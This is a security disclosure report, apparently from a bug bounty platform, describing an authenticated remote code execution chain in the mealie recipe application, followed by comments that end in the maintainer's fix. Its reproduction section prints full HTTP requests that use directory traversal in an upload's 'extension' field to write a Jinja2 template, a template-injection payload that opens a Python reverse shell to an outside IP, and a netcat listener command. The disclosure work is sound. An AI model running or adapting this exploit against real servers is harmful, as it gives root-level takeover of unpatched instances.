Arbitrary template creation leading to Authenticated Remote Code Execution in hay-kot/mealie

Valid

Reported on

Jun 28th 2022


Description

Arbitrary File Write

Reproduction Steps:

  1. As a low privileged user, Create a new recipe and click on the "+" to add a New Asset.
  2. Select a file, then proxy the request that will create the asset.
  3. Update the values in the POST request to the ones shown below:
POST /api/recipes/bruno-s-recipe/assets HTTP/1.1
Host: localhost:9091
Content-Length: 742
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
Authorization: Bearer CHANGEME
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryn8YeOw58f3yZd2Am
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost:9091
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9091/recipe/bruno-s-recipe
Accept-Encoding: gzip, deflate
Cookie: auth.strategy=local; i18n_redirected=en-US; auth._token.local=CHANGEME; auth._token_expiration.local=1656569483000
Connection: close

------WebKitFormBoundaryn8YeOw58f3yZd2Am
Content-Disposition: form-data; name="file"; filename="pwn.txt"
Content-Type: text/plain

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("172.17.0.1",53));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'').read() }}
------WebKitFormBoundaryn8YeOw58f3yZd2Am
Content-Disposition: form-data; name="name"

$
------WebKitFormBoundaryn8YeOw58f3yZd2Am
Content-Disposition: form-data; name="extension"

./../../../../../../../app/data/templates/pwn.html
------WebKitFormBoundaryn8YeOw58f3yZd2Am
Content-Disposition: form-data; name="icon"

mdi-file
------WebKitFormBoundaryn8YeOw58f3yZd2Am--

NOTE: Since I was running Mealie v1.0.0beta-3 with docker-compose my IP address in the payload above is 172.10.0.1. If you are running Mealie in a different way then you would have to change that IP address to your IP address e.g. eth0 interface.

  1. Since mealie/routes/recipe/recipe_crud_routes.py:306 is calling slugify on the name POST parameter, we use $ which slugify() will remove completely.
  2. Since mealie/routes/recipe/recipe_crud_routes.py:306 is concatenating raw user input from the extension POST parameter into the variable file_name, which ultimately gets used when writing to disk, we can use a directory traversal attack in the extension (e.g. ./../../../tmp/pwn.txt) to write the file to arbitrary location on the server.

As an attacker, now that we have a strong attack primitive, we can start getting creative to get RCE. Since the files were being created by root, we could add an entry to /etc/passwd, create a crontab, etc. but since there was templating functionality in the application that peaked my interest. The PoC in the HTTP request above creates a Jinja2 template at /app/data/template/pwn.html. Since Jinja2 templates execute Python code when rendered, all we have to do now to get code execution is render the malicious template. This was easy enough.

Code Execution via Template Rendering

Reproduction Steps:

  1. Create an API key for your low privilege user.
  2. Start a nc listener with nc -lvnp 53.
  3. Make an API call to /api/recipes/{slug}/exports?template_name=evil_template.html

PoC:

GET /api/recipes/recipe-2/exports?template_name=pwn.html HTTP/1.1
Host: localhost:9091
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
accept: */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9091/docs
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Authorization: Bearer CHANGEME
Cookie: auth.strategy=local; i18n_redirected=en-US; auth._token.local=Bearer CHANGEME; auth._token_expiration.local=1656569483000
Connection: close
  1. If everything was done correctly, you will receive a connection to your listener and have a reverse shell. You now have remote access as root to the server running Mealie.

Impact

An attacker who is able to execute such a flaw is able to execute commands with the privileges of the programming language or the web server. In this case, since the attacker is root in a Docker container they can execute system commands, read/modify databases, attack adjacent systems. This flaw leads to a complete compromise of the system.

We are processing your report and will contact the hay-kot/mealie team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists a year ago
0xbruno
a year ago

Researcher


@admin - can you donate my bounty to the maintainer?

0xbruno modified the report
a year ago
0xbruno modified the report
a year ago
Jamie Slome
a year ago

Admin


Furthermore, we are happy to donate the bounty to the maintainer. Before we can do this, we need the maintainer to establish a fix for the report and elect themselves as the "fixer". We will then be able to do this for you ♥️

0xbruno modified the report
a year ago
We have contacted a member of the hay-kot/mealie team and are waiting to hear back a year ago
We have sent a follow up to the hay-kot/mealie team. We will try again in 7 days. a year ago
We have sent a second follow up to the hay-kot/mealie team. We will try again in 10 days. a year ago
0xbruno
a year ago

Researcher


Is there anything I can do to get this verified ?

We have sent a third and final follow up to the hay-kot/mealie team. This report is now considered stale. a year ago
Jamie Slome
a year ago

Admin


@0xbruno - I would recommend getting in touch with the maintainer yourself and sharing the URL for this report with them 👍

0xbruno modified the report
a year ago
Hayden validated this vulnerability a year ago
0xbruno has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Hayden
a year ago

Maintainer


This is some evil shit A+

Will work on a fix this weekend. Thanks for reporting and sorry for the delay.

0xbruno
a year ago

Researcher


Evil shit indeed and no worries! I'll be happy to re-test to validate the remediation.

We have sent a fix follow up to the hay-kot/mealie team. We will try again in 7 days. a year ago
Hayden marked this as fixed in v1.0.0beta-4 with commit 13850c a year ago
Hayden has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation